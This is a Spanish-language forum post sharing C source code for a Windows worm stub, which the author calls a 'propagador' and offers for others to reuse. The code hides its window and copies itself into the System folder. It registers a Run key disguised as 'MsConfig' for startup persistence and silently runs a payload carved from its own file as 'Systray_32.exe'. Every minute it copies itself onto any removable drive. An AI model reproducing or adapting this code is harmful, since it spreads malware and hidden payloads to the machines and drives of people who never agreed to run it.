hola aqui les traigo un pequeño propagador que hize , no terminado, pero a alguien le puede servir el SOURCE.

Código: Seleccionar todo

/*
    Stub Codeado por : Heart.of.dragon  
    Mail                           : [email protected] 
    
    24 - 01 - 2010
*/
#include <windows.h>
#include <stdio.h>
#define  NumOffset 9216 //Numero de Offset donde comienza EL archivo a ejecutar.
////////////////String Donde se guardara el Nombre del Archivo////////////////////////////
char NameFile[MAX_PATH]       = "\\LpZ123.exe";
////////////////////////////////////////////////////////////////////////////////////////// 
////////////////String donde Se guarda la Ruta donde se ejecuta nuestro Exe///////////////
char Copiar[MAX_PATH]         = "Ruta\\";
//////////////////////////////////////////////////////////////////////////////////////////
////////////////String donde Se guarda la Ruta de la Carpeta System///////////////////////
char SystemDir[MAX_PATH]      = "Ruta\\";
char CopiaSystemDir[MAX_PATH] = "Ruta\\"; 
//////////////////////////////////////////////////////////////////////////////////////////

struct __nodo{
       char Unidad[5];
       struct __nodo* sig;
       };
       
__nodo* L = NULL;
__nodo* P = NULL;
//Prototipos de Funciones.       
int   NumerandoyGuardando();
int   Comprobando(char* Disc);
char* SoltandoDisc(char* Buffer);
void  CopiarArc(char* Ruta);
void  InicioWindows();
void  SacandoyEjecutando();
/////////////////////////////
int main()
{
    FreeConsole();       //Sacamos La pantalla Negra.
    CopiarArc(Copiar);   //Copiamos El *.exe en La Carpeta System.
    InicioWindows();     //Nos Escribimos en el Registro para que inicie con Windows.
    SacandoyEjecutando(); //Sacamos El Archivo y Ejecutamos.
    
    char Buff[MAX_PATH] = {'\0'}; //Buffer de Copia.
    int  NumDisc        = 0;
    FILE* Arc;
    while(1)
    {
       NumDisc = NumerandoyGuardando(); //Retorna el Numero de discos Extraibles.
       
       for(int i = 0; i <= NumDisc; i++)
       {
           strcat(SoltandoDisc(Buff),NameFile); //Concatenamos La Letra de la Unidad Removible Con -
                                                //El Nombre del Archivo.                                  
           Arc = fopen(Buff,"rb"); //Intentamos Abrir el Archivo.
           if(!Arc)  // si el Archivo No Existe en el Disco Extraible, lo Copiamos <img src="http://www.elartedeprogramar.cl/foro/Smileys/default/wink.gif" alt="Wink" border="0">.
           {
                CopyFile(SystemDir,Buff,false); //Copiamos el Archivo al Disco.               
           }
           else
           {
               fclose(Arc); //De lo Contrario, si existe, lo cerramos y no copiamos <img src="http://www.elartedeprogramar.cl/foro/Smileys/default/wink.gif" alt="Wink" border="0">.
           }    
       }
       Sleep(60000);          //Esperamos un Minuto y comprobamos denuevo.
    }

    return 0;
}

int NumerandoyGuardando()
{
    L = NULL;
    P = NULL;
    int e = 0;
    int i = 0;
    char Buff[MAX_PATH] = {'\0'};
    
    GetLogicalDriveStrings(MAX_PATH,Buff);
    
    char* Ptr_Buff = Buff;
    
    while(*Ptr_Buff != '\0')
         {
           if((Comprobando(Ptr_Buff) == 2) && (*Ptr_Buff != 'A'))
             {
                P = ( __nodo*)malloc(sizeof(__nodo));                       
                strcpy(P->Unidad,Ptr_Buff);
                P->sig = L;
                L      = P; 
                i++;                     
              }
           e =  sizeof(*Ptr_Buff) + 3;
           Ptr_Buff += e;    
         }
      
      P = L;   
      return i -1;   
}

int Comprobando(char* Disc)
{
    if(GetDriveType(Disc) == 2)
    {
       return 2;
    }
    return 0;
}

char* SoltandoDisc(char* Buffer)
{
   ZeroMemory(Buffer,sizeof(Buffer)); //Limpiamos la Memoria.
   strcpy(Buffer,P->Unidad);          //Copiamos La unidad a Buffer.
   P = P->sig;         
   return Buffer;                     //Retornamos un Puntero al Buffer.
}

void CopiarArc(char* Ruta)
{
     //Limpiamos las Cadenas.
     ZeroMemory(Ruta,sizeof(Ruta));
     ZeroMemory(SystemDir,sizeof(SystemDir));
     //Sacamos La Ruta donde se esta ejecutando nuestro *.exe
     HMODULE handle = GetModuleHandle(NULL);
     GetModuleFileName(handle,Ruta,MAX_PATH);
     CloseHandle(handle);
     //Sacamos La Ruta de la Carpeta System.
     GetSystemDirectory(SystemDir,MAX_PATH);
     strcpy(CopiaSystemDir,SystemDir);
     //Copiamos el *.exe A la Carpeta System.
     strcat(SystemDir,NameFile); //Juntamos La Ruta de la Carpeta System con el Nombre del Archivo.
     CopyFile(Ruta,SystemDir,false); 
}

void InicioWindows()
{
   HKEY hkey;  
   RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0,KEY_SET_VALUE,&hkey); 
   RegSetValueEx(hkey,"MsConfig",0,REG_SZ,(const unsigned char*)SystemDir,sizeof(SystemDir));
   RegCloseKey(hkey);
}

void SacandoyEjecutando()
{
     ZeroMemory(CopiaSystemDir,sizeof(CopiaSystemDir));
     strcat(CopiaSystemDir,"Systray_32.exe");
     
     FILE* Arc = fopen(SystemDir,"rb");
     FILE* Cre = fopen(CopiaSystemDir,"wb+"); //Creamos un Archivo *.exe donde copiaremos.
     
     fseek(Arc,NumOffset,SEEK_SET);
     
     char BufferA[1024] = {'\0'};
     int  Byte          = 0;
     
     while(Byte = fread(BufferA,sizeof(char),1023,Arc))
     {
           fwrite(BufferA,sizeof(char),Byte,Cre);      
     }
     
     fclose(Arc);
     fclose(Cre);
     
     ShellExecute(NULL,"open",CopiaSystemDir,NULL,NULL,SW_HIDE);
}
no es lo optimo, lo optimo seria utilizar un HOOK, pero no me llevo muy bien con los HOOK jaaja.


SSaludos.
Responder

Volver a “Fuentes”